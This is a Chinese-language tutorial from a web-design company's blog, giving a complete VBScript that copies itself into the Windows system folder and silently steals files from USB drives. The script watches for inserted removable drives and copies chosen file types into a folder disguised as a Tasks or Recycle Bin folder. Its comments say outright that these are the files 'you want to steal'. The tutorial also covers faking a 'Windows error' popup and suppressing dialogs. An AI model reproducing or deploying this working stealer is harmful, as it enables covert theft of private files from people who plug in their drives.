小編給大家分享一下VBS如何實(shí)現(xiàn)自動(dòng)復(fù)制U盤文件，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！

成都創(chuàng)新互聯(lián)公司主要從事網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)環(huán)江,十載網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):028-86922220

以下為演示：
一、設(shè)置
右鍵單擊，選擇編輯
oStr = "txt|jpg|doc" '你要竊取的文件類型,可以自行添加，用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 0 '將保存的文件夾進(jìn)行偽裝 1為task文件夾，2為recycler文件夾，0為不偽裝
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出，繼續(xù)循環(huán)

二、保存后運(yùn)行
會(huì)出現(xiàn)安裝成功對話框，如果不希望出現(xiàn)該對話框，可以將“Msgbox "安裝成功"”注釋掉。

此時(shí)腳本已經(jīng)在循環(huán)監(jiān)測U盤的插入

三、插入U(xiǎn)盤
U盤插入后，就開始文件的復(fù)制。復(fù)制完成后會(huì)出現(xiàn)提示對話框。
如果不希望出現(xiàn)該對話框，可以將 “Msgbox "Windows 錯(cuò)誤",64”注釋掉

四、尋找文件
此時(shí)，文件已經(jīng)在目標(biāo)文件夾中。我將oType 設(shè)置為1，所以該文件夾成了task文件夾，此時(shí)雙擊打開是看不到其中的文件的。

這種情況可以通過rar壓縮包瀏覽，將其中的desktop.ini文件刪除，文件夾就會(huì)變成普通文件夾。
 ww
這時(shí)就能打開文件夾看到其中的內(nèi)容。

Copy.log記錄的是原文件及復(fù)制后的文件。

vbs代碼

復(fù)制代碼 代碼如下:

oStr = "txt|jpg|doc" '文件類型，添加文件類型用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 1 '1為task文件夾，2為recycler文件夾，0為不隱藏
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出，繼續(xù)循環(huán)
'By:白開 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夾不存在則創(chuàng)建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'創(chuàng)建記錄文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循環(huán)監(jiān)測移動(dòng)存儲(chǔ)設(shè)備插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 錯(cuò)誤",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隱藏文件夾
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目錄，先安裝
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安裝成功"
end if


Set fso=nothing
Set wshell=nothing



'遍歷目錄函數(shù)
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'復(fù)制文件函數(shù)
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隱藏文件夾函數(shù)
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

以上是“VBS如何實(shí)現(xiàn)自動(dòng)復(fù)制U盤文件”這篇文章的所有內(nèi)容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內(nèi)容對大家有所幫助，如果還想學(xué)習(xí)更多知識，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道！

當(dāng)前文章：VBS如何實(shí)現(xiàn)自動(dòng)復(fù)制U盤文件-創(chuàng)新互聯(lián)
分享鏈接：http://www.rwnh.cn/article6/jhhig.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供網(wǎng)站排名、App開發(fā)、動(dòng)態(tài)網(wǎng)站、網(wǎng)站維護(hù)、網(wǎng)站策劃、搜索引擎優(yōu)化

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)